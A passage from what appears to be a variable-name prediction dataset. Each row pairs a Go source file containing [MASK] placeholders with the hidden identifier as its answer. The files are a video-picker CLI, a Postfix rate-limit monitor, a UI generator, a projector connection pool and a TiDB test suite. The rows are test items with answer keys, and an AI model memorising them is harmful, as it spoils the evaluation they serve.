return Empty, e } } func printQwords(ints iter.Seq2[uint64, error]) IO[Void] { return func(ctx context.Context) (Void, error) { for i, e := range ints { select { case <-ctx.Done(): return Empty, ctx.Err() default: } if nil != e { return Empty, e } _, e := printQword(i)(ctx) if nil != e { return Empty, e } } return Empty, nil } } var filename IO[string] = envVarByKey(""ENV_INTS_FILENAME"") var ints IO[iter.Seq2[uint64, error]] = Bind( filename, Lift(func(filename string) (iter.Seq2[uint64, error], error) { return mi.FilenameToIntegers64(filename), nil }), ) var filename2ints2stdout IO[Void] = Bind( ints, printQwords, ) var sub IO[Void] = func(ctx context.Context) (Void, error) { ctx, cancel := context.WithCancel(ctx) defer cancel() return filename2ints2stdout(ctx) } func main() { _, e := sub(context.Background()) if nil != e { log.Printf(""%v\n"", e) } } ",found 764,"package main import ( ""context"" ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ""github.com/tangxusc/video-picker/pkg/config"" ""github.com/tangxusc/video-picker/pkg/dispatcher"" ""github.com/tangxusc/video-picker/pkg/downloader/dotabuff"" ""github.com/tangxusc/video-picker/pkg/downloader/huya"" ""github.com/tangxusc/video-picker/pkg/picker"" ""math/rand"" ""os"" ""os/signal"" ""time"" ) func main() { ctx, cancel := context.WithCancel(context.Background()) [MASK] := NewCommand(ctx) HandlerNotify(cancel) _ = [MASK] .Execute() cancel() } func NewCommand(ctx context.Context) *cobra.Command { var command = &cobra.Command{ Use: ""start"", Short: ""start picker"", RunE: func(cmd *cobra.Command, args []string) error { rand.Seed(time.Now().Unix()) config.InitLog() pipelines := dispatcher.NewBlockPipelines(ctx) pipelines.Values[`target`] = `vega-palantimos-kills-empire-miposhka-5106809711-9ad7203b6825` pipelines.AddPipeline(func(ctx context.Context, values map[string]interface{}) error { e := huya.NewHuyaDownloader().Download(ctx, values) if e != nil { return e } return nil }, func(ctx context.Context, values map[string]interface{}) error { e := picker.NewAiPicker().Pick(ctx, values) if e != nil { return e } return nil }) dis := dispatcher.NewDispatcher(ctx, 2) dis.Start() //dis.Dispatch(pipelines) pipelines = dispatcher.NewBlockPipelines(ctx) pipelines.Values[`target`] = `vega-palantimos-kills-empire-miposhka-5106809711-9ad7203b6825` pipelines.AddPipeline(func(ctx context.Context, values map[string]interface{}) error { e := dotabuff.NewDotaBuffDownloader().Download(ctx, values) if e != nil { return e } return nil }) dis.Dispatch(pipelines) //bus := eventbus.NewBus(ctx) //cancel, _ := context.WithCancel(ctx) //_ = picker.NewAiPicker(cancel, 1, bus) //d := downloader.NewHuyaDownloader(cancel, 1, bus) // //job := d.Download(`11336726`) //time.Sleep(time.Minute * 3) //job.CancelFunc() <-ctx.Done() return nil }, } logrus.SetFormatter(&logrus.TextFormatter{}) config.BindParameter(command) return command } func HandlerNotify(cancel context.CancelFunc) { go func() { signals := make(chan os.Signal, 1) signal.Notify(signals, os.Interrupt, os.Kill) <-signals cancel() }() } ",newCommand 765,"package main import ( ""bufio"" ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""postfixmon/tools"" ""postfixmon/virtualmin"" ""postfixmon/whm"" ""regexp"" ""strconv"" ""strings"" ""time"" ) var configPath = "".config"" var dataPath = ""data/"" // date, id, <=, email, extras /* Oct 22 17:48:40 vmi673390 postfix/trivial-rewrite[183180]: warning: do not list domain s12.mercstudio.com in BOTH mydestination and virtual_alias_domains Oct 22 17:48:40 vmi673390 postfix/smtpd[183177]: 3B838E03CA: client=localhost[127.0.0.1] Oct 22 17:48:40 vmi673390 postfix/cleanup[183181]: 3B838E03CA: message-id=<> Oct 22 17:48:40 vmi673390 postfix/qmgr[183159]: 3B838E03CA: from=<>, size=688, nrcpt=2 (queue active) Oct 22 17:48:40 vmi673390 postfix/smtpd[183177]: disconnect from localhost[127.0.0.1] helo=1 mail=1 rcpt=2 data=1 quit=1 commands=6 Oct 22 17:48:42 vmi673390 postfix/smtp[183182]: 3B838E03CA: to=<>, relay=mail.smtp2go.com[192.168.3.11]:2525, delay=2.3, delays=0.05/0.01/1.7/0.62, dsn=2.0.0, status=sent (250 OK id=1omB7Q-DvC2hB-2l) Oct 22 17:48:42 vmi673390 postfix/smtp[183182]: 3B838E03CA: to=<>, relay=mail.smtp2go.com[192.168.3.11]:2525, delay=2.3, delays=0.05/0.01/1.7/0.62, dsn=2.0.0, status=sent (250 OK id=1omB7Q-DvC2hB-2l) */ // var postfixRegLine = regexp.MustCompile(""(?i)([a-z]* \\d+ \\d+:\\d+:\\d+) [a-zA-Z0-9_]* postfix/[a-z]*\\[\\d*\\]: ([a-z0-9]*):.*$"") var postfixRegLine = regexp.MustCompile(""(?i)([a-z]* ?\\d+ \\d+:\\d+:\\d+) [a-zA-Z0-9_]* postfix/[a-z]*\\[\\d*\\]: ([a-z0-9]*): (from|to)=<([a-z0-9._%+\\-]+@[a-z0-9.\\-]+\\.[a-z]{2,4})>,.*$"") // var postfixRegLine = regexp.MustCompile(""(?i)(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}) ([^ ]*) ([^ ]*) .* A=dovecot_[a-zA-z]*:([^ ]*) (.*) for (.*)$"") var notifyEmail = """" func getEnv(key, defaultValue string) string { value := os.Getenv(key) if len(value) == 0 { return defaultValue } return value } func parseDateWithoutCurrentYear(date string) (string, error) { return parseDateWithoutYear(date, time.Now().Year()) } func parseDateWithoutYear(date string, runningYear int) (string, error) { currentYear := fmt.Sprintf(""%d "", runningYear) currentTimeStr := currentYear + date currentDateTime, err := tools.ParseDate(currentTimeStr) if err != nil { log(""parseDateWithoutYear: Unable to read lastPrefix date: %#v on line %d"", currentDateTime, date) // panic(fmt.Errorf(""Unable to read lastPrefix date: %#v on line %d"", startTime, lastPrefix)) currentDateTime = time.Now() } // sometimes the log is from the previous year if currentDateTime.After(time.Now().Add(1 * time.Hour)) { // aYearAgo, _ := time.ParseDuration(""-1y"") currentTimeStr = fmt.Sprintf(""%d %s"", runningYear-1, date) } // log(""date b4: %s, date after: %s"", date, currentTimeStr) return currentTimeStr, nil } func main() { logFile := getEnv(""PF_LOG"", ""/var/log/mail.log"") serverType := getEnv(""SERVERTYPE"", ""virtualmin"") whm.ApiToken = getEnv(""API_TOKEN"", """") if whm.ApiToken == """" && serverType == ""cpanel"" { log(""Please declare -x API_TOKEN=..."") log(""Other environments variables: MAX_PER_MIN=8 , MAX_PER_HOUR=100"") log(""NOTIFY_EMAIL=email , PF_LOG=/var/log/mail.log"") log(""WHM_API_HOST=127.0.0.1"") log(""SERVERTYPE=cpanel"") } maxPerMin := int16(8) maxPerHour := int16(100) if os.Getenv(""MAX_PER_MIN"") != """" { if i, err := strconv.ParseInt(os.Getenv(""MAX_PER_MIN""), 10, 16); err != nil { panic(fmt.Errorf(""Failed parsing MAX_PER_MIN: %+v"", err)) } else { maxPerMin = int16(i) } } if os.Getenv(""MAX_PER_HOUR"") != """" { if i, err := strconv.ParseInt(os.Getenv(""MAX_PER_HOUR""), 10, 16); err != nil { panic(fmt.Errorf(""Failed parsing MAX_PER_HOUR: %+v"", err)) } else { maxPerHour = int16(i) } } if maxPerHour < maxPerMin { panic(fmt.Errorf(""Max per hour must be above max per minutes"")) } if os.Getenv(""PF_LOG"") != """" { logFile = os.Getenv(""PF_LOG"") } if os.Getenv(""NOTIFY_EMAIL"") != """" { notifyEmail = os.Getenv(""NOTIFY_EMAIL"") } if os.Getenv(""WHM_API_HOST"") != """" { whm.ApiHost = os.Getenv(""WHM_API_HOST"") } whm.Log = log virtualmin.Log = log if len(os.Args) < 2 { log(""args: start|run|skip|reset|suspend|unsuspend|info|help|test-notify|rerun"") return } maxRun := -1 now := time.Now() skipLastLine := false //start from yesterday min startTime := time.Date(now.Year(), now.Month(), now.Day()-1, 0, 0, 0, 0, now.Local().Location()) switch os.Args[1] { case ""reset"": log(""Removing %s*"", dataPath) tools.RemoveSubFileFolder(dataPath) os.Remove(configPath) log(""Removed %s"", configPath) return case ""start"": //use yesterday case ""run"": maxRun = 1 startTime = now case ""rerun"": if len(os.Args) < 3 { log(""rerun date/time, eg: 2022 oct 10"") return } log(""date? %v"", os.Args) dateStr := fmt.Sprintf(""%s %s %s"", os.Args[2], os.Args[3], os.Args[4]) thetime, err := tools.ParseDate(dateStr) if err != nil { panic(fmt.Errorf(""Unable to read date: %#v"", dateStr)) } log(""Rerun from: %s"", thetime.Format(time.RFC3339)) if err := cleanupFrom(thetime); err != nil { log(fmt.Sprintf(""Unable to cleanup time: %+v"", err)) } startTime = thetime skipLastLine = true case ""skip"": startTime = time.Now() //skip to now, skip everything then... case ""suspend"": if len(os.Args) < 3 { log(""suspend [email]"") return } email := os.Args[2] if serverType == ""cpanel"" { if err := whm.SuspendEmail(email); err != nil { panic(fmt.Sprintf(""error: %+v"", err)) } } if serverType == ""virtualmin"" { if err := virtualmin.SuspendEmail(email); err != nil { panic(fmt.Sprintf(""error: %+v"", err)) } } log(""Suspended %s"", email) return case ""unsuspend"": if len(os.Args) < 3 { log(""unsuspend [email]"") return } email := os.Args[2] if err := virtualmin.EnableEmail(email); err != nil { panic(fmt.Sprintf(""error: %+v"", err)) } log(""Unsuspended %s"", email) return case ""info"": if len(os.Args) < 3 { log(""info [domain]"") return } if serverType == ""virtualmin"" { panic(fmt.Errorf(""Not implemented"")) } info, err := whm.UserDataInfo(os.Args[2]) if err != nil { panic(fmt.Sprintf(""error: %+v"", err)) } log(""%#v"", info) return case ""test-notify"": if err := notifySuspend("""", ""a test""); err != nil { log(""notifySuspend error: %+v"", err) } return case ""help"": log(""start - continue from last position or start from yesterday, and repeats from last position"") log(""rerun - rerun from specified date"") log(""run - continue from last position or start from beginning for one time"") log(""skip - skip all existing data and repeats for new logs"") log(""reset - reset all data, huh, what?"") log(""suspend - suspend outgoing email"") log(""unsuspend - unsuspend outgoing email"") log(""info - get information of a domain"") log(""test-notify - test send notification mail"") log(""help - this!"") return default: panic(fmt.Errorf(""Unknown command: %s"", os.Args[1])) } i := 1 for { log(""loop %d"", i) if err := postfixLogScanner(logFile, startTime, maxPerMin, maxPerHour, skipLastLine); err != nil { log(""log scanner error: %+v"", err) // time.sleep(15 * time.Second) } if maxRun > -1 && i > maxRun { break } time.Sleep(15 * time.Second) i++ } //loop log(""Done."") } func cleanupFrom(thetime time.Time) error { t := thetime log(""cleaningFrom: %v"", t.Format(time.RFC3339)) d, err := os.Open(dataPath) if err != nil { return err } defer d.Close() names, err := d.Readdirnames(-1) if err != nil { return err } for _, name := range names { ownerDir := filepath.Join(dataPath, name) log(""scanning: %+v"", ownerDir) d, err := os.Open(ownerDir) if err != nil { return err } defer d.Close() dates, err := d.Readdirnames(-1) if err != nil { return err } for _, date := range dates { dateDir := filepath.Join(ownerDir, date) dirtime, err := time.Parse(""2006_01_02"", date) if err != nil { log(""Warning: Could not parse date from directory name '%s': %v. Skipping."", dateDir, err) continue // Skip to the next directory } if !t.After(dirtime) { log(""removing: %+v"", dateDir) err = os.RemoveAll(dateDir) if err != nil { return err } } else { log(""not removing: %+v"", dateDir) } } //each date } //each owner // t = t.AddDate(0, 0, 1) return nil } func emailDomainName(email string) (string, error) { trimmedEmail := strings.TrimSpace(email) lastPos := strings.LastIndex(trimmedEmail, ""@"") if lastPos < 0 { return """", fmt.Errorf(""@ missing, not valid email: "" + email) } domain := trimmedEmail[lastPos+1:] log(""domain %s, email: %s"", domain, email) return domain, nil } func postfixLogScanner(logFile string, startTime time.Time, maxPerMin int16, maxPerHour int16, skipLastLine bool) error { lastLine := int64(0) lastPrefix := """" if !skipLastLine { var err error _, lastLine, lastPrefix, err = lastConfig(logFile) if err != nil { panic(err) } lastPrefix = strings.TrimRight(lastPrefix, ""\n"") } ignoreList := []string{} if (tools.FileExists(""skip.conf"")) { var err error ignoreList, err = tools.ReadContentAsList(""skip.conf"") if err != nil { panic(err) } } newSize := MustSize(logFile) file, err := os.Open(logFile) if err != nil { panic(err) } defer file.Close() //checks if line still valid scanner := bufio.NewScanner(file) lineNo := int64(1) if lastPrefix != """" { var err error currentTimeStr, err := parseDateWithoutCurrentYear(lastPrefix[:16]) if (err != nil) { panic(fmt.Errorf(""unable to format date %s"", lastPrefix[:16])) } log(""parsing last time: %s"", currentTimeStr) startTime, err = tools.ParseDate(currentTimeStr) if err != nil { log(""Unable to read lastPrefix date: %#v on line '%s' parsing: '%s'"", startTime, lastPrefix, currentTimeStr) // panic(fmt.Errorf(""Unable to read lastPrefix date: %#v on line %d"", startTime, lastPrefix)) startTime = time.Now() } } for scanner.Scan() { if lineNo >= lastLine { break } // log(""Skipping: %d: %d"", lineNo, scanner.Text()) lineNo++ } log(""Scanning log from time: %v, last line %v path: %v"", startTime.Format(time.RFC3339), lastLine, logFile) text := scanner.Text() if lastLine > 0 { if !strings.HasPrefix(text, lastPrefix) { log(""Last missing line:\n%s\nExpecting:\n%s\n"", text, lastPrefix) time.Sleep(10 * time.Second) //resetting to start _, lastLine, lastPrefix = 0, 0, """" if _, err := file.Seek(0, io.SeekStart); err != nil { return err } scanner = bufio.NewScanner(file) //reset scanner scanner.Scan() lineNo = 1 } else { //skip to next line if !scanner.Scan() { log(""No new line since last scan"") return nil } lineNo++ } } if err := scanner.Err(); err != nil { panic(err) } log(""Starting line %d time: %v"", lineNo, startTime.Format(time.RFC3339)) currentYear := time.Now().Year() currentTimeStr := """" currentSessionId := """" [MASK] := """" currentRecipients := []string{} for { text = scanner.Text() log(""raw line %d: %v"", lineNo, text) res := postfixRegLine.FindStringSubmatch(text) // 0 = datetime, 1 = session-id, 2 = from/to, 3 = email debugList := res if (res != nil) { debugList = res[1:] } jsonStuff, _ := json.Marshal(debugList) log(""regex: count %d %s"", len(res), string(jsonStuff)) // 0 - fullline // 1 - date // 2 - session id // 3 - from/to // 4 - email if len(res) < 5 { // if strings.Contains(text, ""A=dovecot"") { // log(""Not: %#v | %v"", res, text) // time.Sleep(100 * time.Millisecond) // } } else { if (res[3] == ""from"") { // execute last batch session if ( [MASK] != """" && len(currentRecipients) > 0) { log(""Executing session: %s"", currentSessionId) err := processSession(maxPerMin, maxPerHour, lineNo, currentSessionId, [MASK] , currentRecipients, startTime, currentTimeStr, ignoreList) if (err != nil) { log(""Error processing session %s: %s"", currentSessionId, err) } } log(""currentYear: %d"", currentYear) currentTimeStr, _ = parseDateWithoutYear(res[1], currentYear) [MASK] = res[4] currentSessionId = res[2] currentRecipients = []string{} currentDateTime, err := tools.ParseDate(currentTimeStr) if err != nil { log(""Error parsing date: %s"", currentTimeStr) return err } currentYear = currentDateTime.Year() } else if (res[3] == ""to"") { // check session id, otherwise ignore if (currentSessionId != res[2]) { log(""Session id mismatch: %s != %s"", currentSessionId, res[2]) } else { currentRecipients = append(currentRecipients, res[4]) } } else { log(""Not regex: %#v | %v"", res, text) } } // log(""read line %d"", lineNo) if !scanner.Scan() { // log(""scanned ended: line %d"", lineNo) if ( [MASK] != """" && len(currentRecipients) > 0) { log(""Executing final session: %s"", currentSessionId) if err := processSession(maxPerMin, maxPerHour, lineNo, currentSessionId, [MASK] , currentRecipients, startTime, currentTimeStr, ignoreList); err != nil { log(""Error processing session %s: %s"", currentSessionId, err) } } break } lineNo++ } log(""ended: line %d"", lineNo) lastPrefix = text if (len(text) > 25) { lastPrefix = text[0:25] } storeConfig(logFile, newSize, lineNo, lastPrefix) return nil } func processSession(maxPerMin int16, maxPerHour int16, lineNo int64, sessionId string, sender string, recipients []string, startTime time.Time, timeStr string, ignoreList []string) error { log(""Processing session %s: %s -> %v"", sessionId, sender, recipients) var thetime time.Time var err error skipTime := false thetime, err = tools.ParseDate(timeStr) if err != nil { panic(fmt.Errorf(""Unable to read date: %#v on line %d"", thetime, lineNo)) } if !startTime.IsZero() { if thetime.Before(startTime) { log(""Skipping by time %s expected %s"", thetime.Format(time.RFC3339), startTime.Format(time.RFC3339)) skipTime = true } else { // log(""ok time %s(%s) after %s"", thetime.Format(time.RFC3339), res[1], startTime.Format(time.RFC3339)) } } else { log(""Start time is zero? %s"", startTime.Format(time.RFC3339)) } if (skipTime) { log(""Skiptime session %s: %s -> %v"", sessionId, sender, recipients) return nil } process := strings.Index(sender, ""@"") > 0 if process { for _, ignore := range ignoreList { if strings.HasPrefix(ignore, ""*"") { if strings.HasSuffix(sender, ignore[1:]) { process = false break } } if strings.HasSuffix(ignore, ""*"") { if strings.HasSuffix(sender, ignore[:1]) { process = false break } } if !strings.HasPrefix(ignore, ""*"") && !strings.HasSuffix(ignore, ""*"") { if sender == ignore { process = false break } } } } if (!process && !skipTime) { log(""Ignoring session %s %#v : %#v"", sessionId, sender, thetime.Format(time.RFC3339)) time.Sleep(2 * time.Second) return nil } senderDomain, err := emailDomainName(sender) if err != nil { return fmt.Errorf(""unable to obtain domain from email %s, error: %v"", sender, err.Error()) } hasExternal := false r := 0 for { if r >= len(recipients) { break } recipient := recipients[r] log(""session %s: %s -> %s"", sessionId, sender, recipient) recipientDomain, err := emailDomainName(recipient) if err != nil { log(fmt.Sprintf(""unable to obtain domain from email %s, error: %v"", err, recipient)) // return fmt.Errorf(""unable to obtain domain from email %s, error: %v"", err, recipient) r = r + 1 continue } if senderDomain == recipientDomain { log(""detected same domain %s | %s"", sender, recipient) r = r + 1 continue } log(""detected other domain %s | %s"", recipientDomain, recipient) hasExternal = true r = r + 1 } if hasExternal { log(""detected external recipient of %s"", sender) // time.Sleep(2 * time.Second) minCount, hourCount, err := mailCount(thetime, sender) if err != nil { return err } minCount++ hourCount++ //TODO save based on X recipients per email? if err := mailCountStore(thetime, sender, hourCount, minCount); err != nil { panic(fmt.Errorf(""Unable to save count %s, time: %#v, error: %#v"", sender, thetime, err)) } if minCount > int64(maxPerMin) || hourCount > int64(maxPerHour) { if err := virtualmin.SuspendEmail(sender); err != nil { log(""Unable to suspendEmail %s, error: %+v"", sender, err) time.Sleep(5 * time.Second) } if notifyEmail != """" { if err = notifySuspend(sender, fmt.Sprintf(""Count: minute: %d, hour: %d"", minCount, hourCount)); err != nil { log(""notifySuspend error: %+v"", err) time.Sleep(10 * time.Second) } } } log(""Written %s time: %v, min: %v, hour: %v"", sender, thetime, minCount, hourCount) } log(""Done session %s: %s -> %v"", sessionId, sender, recipients) time.Sleep(1 * time.Second) return nil } func notifySuspend(email string, message string) error { if notifyEmail == """" { return fmt.Errorf(""NOTIFY_EMAIL not set"") } c1 := exec.Command(""echo"", ""-e"", fmt.Sprintf(""\""%s\"""", message)) c2 := exec.Command(""mail"", ""-s"", fmt.Sprintf(""\""suspended email %s\"""", email), notifyEmail) r, w := io.Pipe() c1.Stdout = w c2.Stdin = r var b2 bytes.Buffer c2.Stdout = &b2 if err := c1.Start(); err != nil { return err } if err := c2.Start(); err != nil { return err } if err := c1.Wait(); err != nil { return err } w.Close() if err := c2.Wait(); err != nil { return err } io.Copy(os.Stdout, &b2) log(""mail-result: %s"", b2.Bytes()) return nil } func mailCountStore(thetime time.Time, email string, hourCount int64, minCount int64) error { path := dataPath + cleanPath(email) dirPath := cleanPath(thetime.Format(""2006-01-02"")) hourPath := thetime.Format(""15"") minPath := thetime.Format(""1504"") datePath := path + ""/"" + dirPath hourFile := datePath + ""/"" + hourPath minFile := datePath + ""/"" + minPath MustDir(datePath) log(""Writing %s/%s"", dirPath, hourFile) if err := ioutil.WriteFile(hourFile, []byte(fmt.Sprintf(""%d"", hourCount)), 0644); err != nil { return err } log(""Writing %s"", minFile) if err := ioutil.WriteFile(minFile, []byte(fmt.Sprintf(""%d"", minCount)), 0644); err != nil { return err } return nil } // this minute, this hour count func mailCount(thetime time.Time, email string) (int64, int64, error) { path := dataPath + cleanPath(email) if _, err := os.Stat(path); os.IsNotExist(err) { // path/to/whatever does not exist return 0, 0, nil } dirPath := cleanPath(thetime.Format(""2006-01-02"")) // hourPath := now.Format(""150405"") hourPath := thetime.Format(""15"") minPath := thetime.Format(""1504"") datePath := path + ""/"" + dirPath if _, err := os.Stat(datePath); os.IsNotExist(err) { // path/to/whatever does not exist return 0, 0, nil } if _, err := os.Stat(datePath); os.IsNotExist(err) { // path/to/whatever does not exist return 0, 0, nil } hourCount := int64(0) minCount := int64(0) hourFile := datePath + ""/"" + hourPath minFile := datePath + ""/"" + minPath if _, err := os.Stat(hourFile); !os.IsNotExist(err) { content, err := ioutil.ReadFile(hourFile) if err != nil { return 0, 0, err } hourCount, err = strconv.ParseInt(string(content), 0, 64) if err != nil { return 0, 0, err } } if _, err := os.Stat(minFile); !os.IsNotExist(err) { content, err := ioutil.ReadFile(minFile) if err != nil { return 0, 0, err } minCount, err = strconv.ParseInt(string(content), 0, 64) if err != nil { return 0, 0, err } } return minCount, hourCount, nil } func storeConfig(logFile string, size int64, line int64, prefix string) error { return ioutil.WriteFile(configPath, []byte(fmt.Sprintf(""%d||%d||%s"", size, line, prefix)), 0644) } //last size, last line#, prefix func lastConfig(logFile string) (int64, int64, string, error) { if _, err := os.Stat(configPath); os.IsNotExist(err) { // path/to/whatever does not exist return 0, 0, """", nil } content, err := ioutil.ReadFile(configPath) if err != nil { return 0, 0, """", err } args := strings.Split(string(content), ""||"") size, err := strconv.ParseInt(args[0], 10, 64) if err != nil { return 0, 0, """", err } line, err := strconv.ParseInt(args[1], 10, 64) if err != nil { return 0, 0, """", err } prefix := args[2] newSize := MustSize(logFile) if newSize < size { log(""Size shrinked: %f, expected: %f"", newSize, size) time.Sleep(10 * time.Second) return 0, 0, """", nil //reset } return size, line, prefix, nil } func cleanPath(name string) string { res := strings.Replace(name, ""@"", ""_"", -1) res = strings.Replace(res, ""-"", ""_"", -1) res = filepath.Clean(res) return res } func MustDir(path string) { log(""MustDir: %s"", path) if _, err := os.Stat(path); os.IsNotExist(err) { log(""Creating dir: %s"", path) if err := os.MkdirAll(path, 0744); err != nil { panic(fmt.Errorf(""Unable to create %s, error: %+v"", path, err)) } } else if err != nil { panic(fmt.Errorf(""Unknown mustdir %s, error: %+v"", path, err)) } } func MustSize(path string) int64 { fi, err := os.Stat(path) if err != nil { panic(fmt.Errorf(""Unable to state %s, error: %+v"", path, err)) } return fi.Size() } func log(msg string, args ...interface{}) { fmt.Printf(""pfmon(v1.0.0):""+msg+""\n"", args...) } ",currentSender 766,"package uiframeworks import ( ""MarkconsGenerator/utils"" ""sync"" ) type ComponentGenerator interface { GetName() string GetPrefix() string GetRootPath() string GetParams() []utils.TsParams Generate(frameworks []UiTemplateFramework, err_ch chan error, main_wg *sync.WaitGroup, markcon_name_ch chan []string) } type MasterComponentGenerator struct { } type MarkconGeneralInfo struct { PropName string ComponentName string ImportPath string Pack string } func (mg *MasterComponentGenerator) GenerateMasterComponent( [MASK] *[]ComponentGenerator, frameworks *[]UiFramework, markcons_by_pack *map[string][][]string) { input_map := make(map[string][]utils.TsParams) for _, pack := range * [MASK] { input_map[pack.GetPrefix()] = pack.GetParams() } for _, framework := range *frameworks { framework.InitMasterComponent(""../markcons/%s/components/base"", &input_map, markcons_by_pack) } } ",icon_packs 767,"package adcp import ( ""fmt"" ""net"" ""strings"" ""time"" ""github.com/byuoitav/common/pooled"" ) var pool = pooled.NewMap(45*time.Second, 400*time.Millisecond, getConnection) const ( // CR is a carriage return CR = '\r' // LF is a line feed LF = '\n' ) func getConnection(key interface{}) (pooled.Conn, error) { [MASK] , ok := key.(string) if !ok { return nil, fmt.Errorf(""key must be a string"") } conn, err := net.DialTimeout(""tcp"", [MASK] +"":53595"", 10*time.Second) if err != nil { return nil, err } // read the NOKEY line pconn := pooled.Wrap(conn) b, err := pconn.ReadUntil(LF, 5*time.Second) if err != nil { conn.Close() return nil, err } if strings.TrimSpace(string(b)) != ""NOKEY"" { conn.Close() return nil, fmt.Errorf(""unexpected message when opening connection: %s"", b) } return pconn, nil } func writeAndRead(conn pooled.Conn, cmd []byte, timeout time.Duration) (string, error) { conn.SetWriteDeadline(time.Now().Add(timeout)) n, err := conn.Write(cmd) switch { case err != nil: return """", err case n != len(cmd): return """", fmt.Errorf(""wrote %v/%v bytes of command 0x%x"", n, len(cmd), cmd) } b, err := conn.ReadUntil(LF, timeout) if err != nil { return """", err } conn.Log().Debugf(""Response from command: 0x%x"", b) return strings.TrimSpace(string(b)), nil } ",address 768,"// Copyright 2015 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package ddl_test import ( ""context"" ""fmt"" ""io"" ""math"" ""math/rand"" ""strconv"" ""strings"" ""sync"" ""sync/atomic"" ""time"" . ""github.com/pingcap/check"" ""github.com/pingcap/errors"" ""github.com/pingcap/parser/model"" ""github.com/pingcap/parser/mysql"" tmysql ""github.com/pingcap/parser/mysql"" ""github.com/pingcap/parser/terror"" ""github.com/pingcap/tidb/ddl"" testddlutil ""github.com/pingcap/tidb/ddl/testutil"" ""github.com/pingcap/tidb/domain"" ""github.com/pingcap/tidb/infoschema"" ""github.com/pingcap/tidb/kv"" ""github.com/pingcap/tidb/meta/autoid"" ""github.com/pingcap/tidb/session"" ""github.com/pingcap/tidb/sessionctx"" ""github.com/pingcap/tidb/store/mockstore"" ""github.com/pingcap/tidb/store/mockstore/mocktikv"" ""github.com/pingcap/tidb/table"" ""github.com/pingcap/tidb/table/tables"" ""github.com/pingcap/tidb/tablecodec"" ""github.com/pingcap/tidb/types"" ""github.com/pingcap/tidb/util/admin"" ""github.com/pingcap/tidb/util/mock"" ""github.com/pingcap/tidb/util/schemautil"" ""github.com/pingcap/tidb/util/testkit"" ""github.com/pingcap/tidb/util/testleak"" ""github.com/pingcap/tidb/util/testutil"" ) const ( // waitForCleanDataRound indicates how many times should we check data is cleaned or not. waitForCleanDataRound = 150 // waitForCleanDataInterval is a min duration between 2 check for data clean. waitForCleanDataInterval = time.Millisecond * 100 ) var _ = Suite(&testDBSuite{}) const defaultBatchSize = 2048 type testDBSuite struct { cluster *mocktikv.Cluster mvccStore mocktikv.MVCCStore store kv.Storage dom *domain.Domain schemaName string tk *testkit.TestKit s session.Session lease time.Duration autoIDStep int64 } func (s *testDBSuite) SetUpSuite(c *C) { var err error testleak.BeforeTest() s.lease = 200 * time.Millisecond session.SetSchemaLease(s.lease) session.SetStatsLease(0) s.schemaName = ""test_db"" s.autoIDStep = autoid.GetStep() ddl.WaitTimeWhenErrorOccured = 1 * time.Microsecond s.cluster = mocktikv.NewCluster() mocktikv.BootstrapWithSingleStore(s.cluster) s.mvccStore = mocktikv.MustNewMVCCStore() s.store, err = mockstore.NewMockTikvStore( mockstore.WithCluster(s.cluster), mockstore.WithMVCCStore(s.mvccStore), ) c.Assert(err, IsNil) s.dom, err = session.BootstrapSession(s.store) c.Assert(err, IsNil) s.s, err = session.CreateSession4Test(s.store) c.Assert(err, IsNil) _, err = s.s.Execute(context.Background(), ""create database test_db"") c.Assert(err, IsNil) s.tk = testkit.NewTestKit(c, s.store) } func (s *testDBSuite) TearDownSuite(c *C) { s.s.Execute(context.Background(), ""drop database if exists test_db"") s.s.Close() s.dom.Close() s.store.Close() testleak.AfterTest(c, ddl.TestLeakCheckCnt)() } func (s *testDBSuite) testErrorCode(c *C, sql string, errCode int) { _, err := s.tk.Exec(sql) c.Assert(err, NotNil) originErr := errors.Cause(err) tErr, ok := originErr.(*terror.Error) c.Assert(ok, IsTrue, Commentf(""err: %T"", originErr)) c.Assert(tErr.ToSQLError().Code, DeepEquals, uint16(errCode), Commentf(""MySQL code:%v"", tErr.ToSQLError())) } func (s *testDBSuite) TestAddIndexWithPK(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""create table test_add_index_with_pk(a int not null, b int not null default '0', primary key(a))"") s.tk.MustExec(""insert into test_add_index_with_pk values(1, 2)"") s.tk.MustExec(""alter table test_add_index_with_pk add index idx (a)"") s.tk.MustQuery(""select a from test_add_index_with_pk"").Check(testkit.Rows(""1"")) s.tk.MustExec(""insert into test_add_index_with_pk values(2, 2)"") s.tk.MustExec(""alter table test_add_index_with_pk add index idx1 (a, b)"") s.tk.MustQuery(""select * from test_add_index_with_pk"").Check(testkit.Rows(""1 2"", ""2 2"")) s.tk.MustExec(""create table test_add_index_with_pk1(a int not null, b int not null default '0', c int, d int, primary key(c))"") s.tk.MustExec(""insert into test_add_index_with_pk1 values(1, 1, 1, 1)"") s.tk.MustExec(""alter table test_add_index_with_pk1 add index idx (c)"") s.tk.MustExec(""insert into test_add_index_with_pk1 values(2, 2, 2, 2)"") s.tk.MustQuery(""select * from test_add_index_with_pk1"").Check(testkit.Rows(""1 1 1 1"", ""2 2 2 2"")) s.tk.MustExec(""create table test_add_index_with_pk2(a int not null, b int not null default '0', c int unsigned, d int, primary key(c))"") s.tk.MustExec(""insert into test_add_index_with_pk2 values(1, 1, 1, 1)"") s.tk.MustExec(""alter table test_add_index_with_pk2 add index idx (c)"") s.tk.MustExec(""insert into test_add_index_with_pk2 values(2, 2, 2, 2)"") s.tk.MustQuery(""select * from test_add_index_with_pk2"").Check(testkit.Rows(""1 1 1 1"", ""2 2 2 2"")) } func (s *testDBSuite) TestRenameIndex(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""create table t (pk int primary key, c int default 1, c1 int default 1, unique key k1(c), key k2(c1))"") // Test rename success s.tk.MustExec(""alter table t rename index k1 to k3"") s.tk.MustExec(""admin check index t k3"") // Test rename to the same name s.tk.MustExec(""alter table t rename index k3 to k3"") s.tk.MustExec(""admin check index t k3"") // Test rename on non-exists keys s.testErrorCode(c, ""alter table t rename index x to x"", 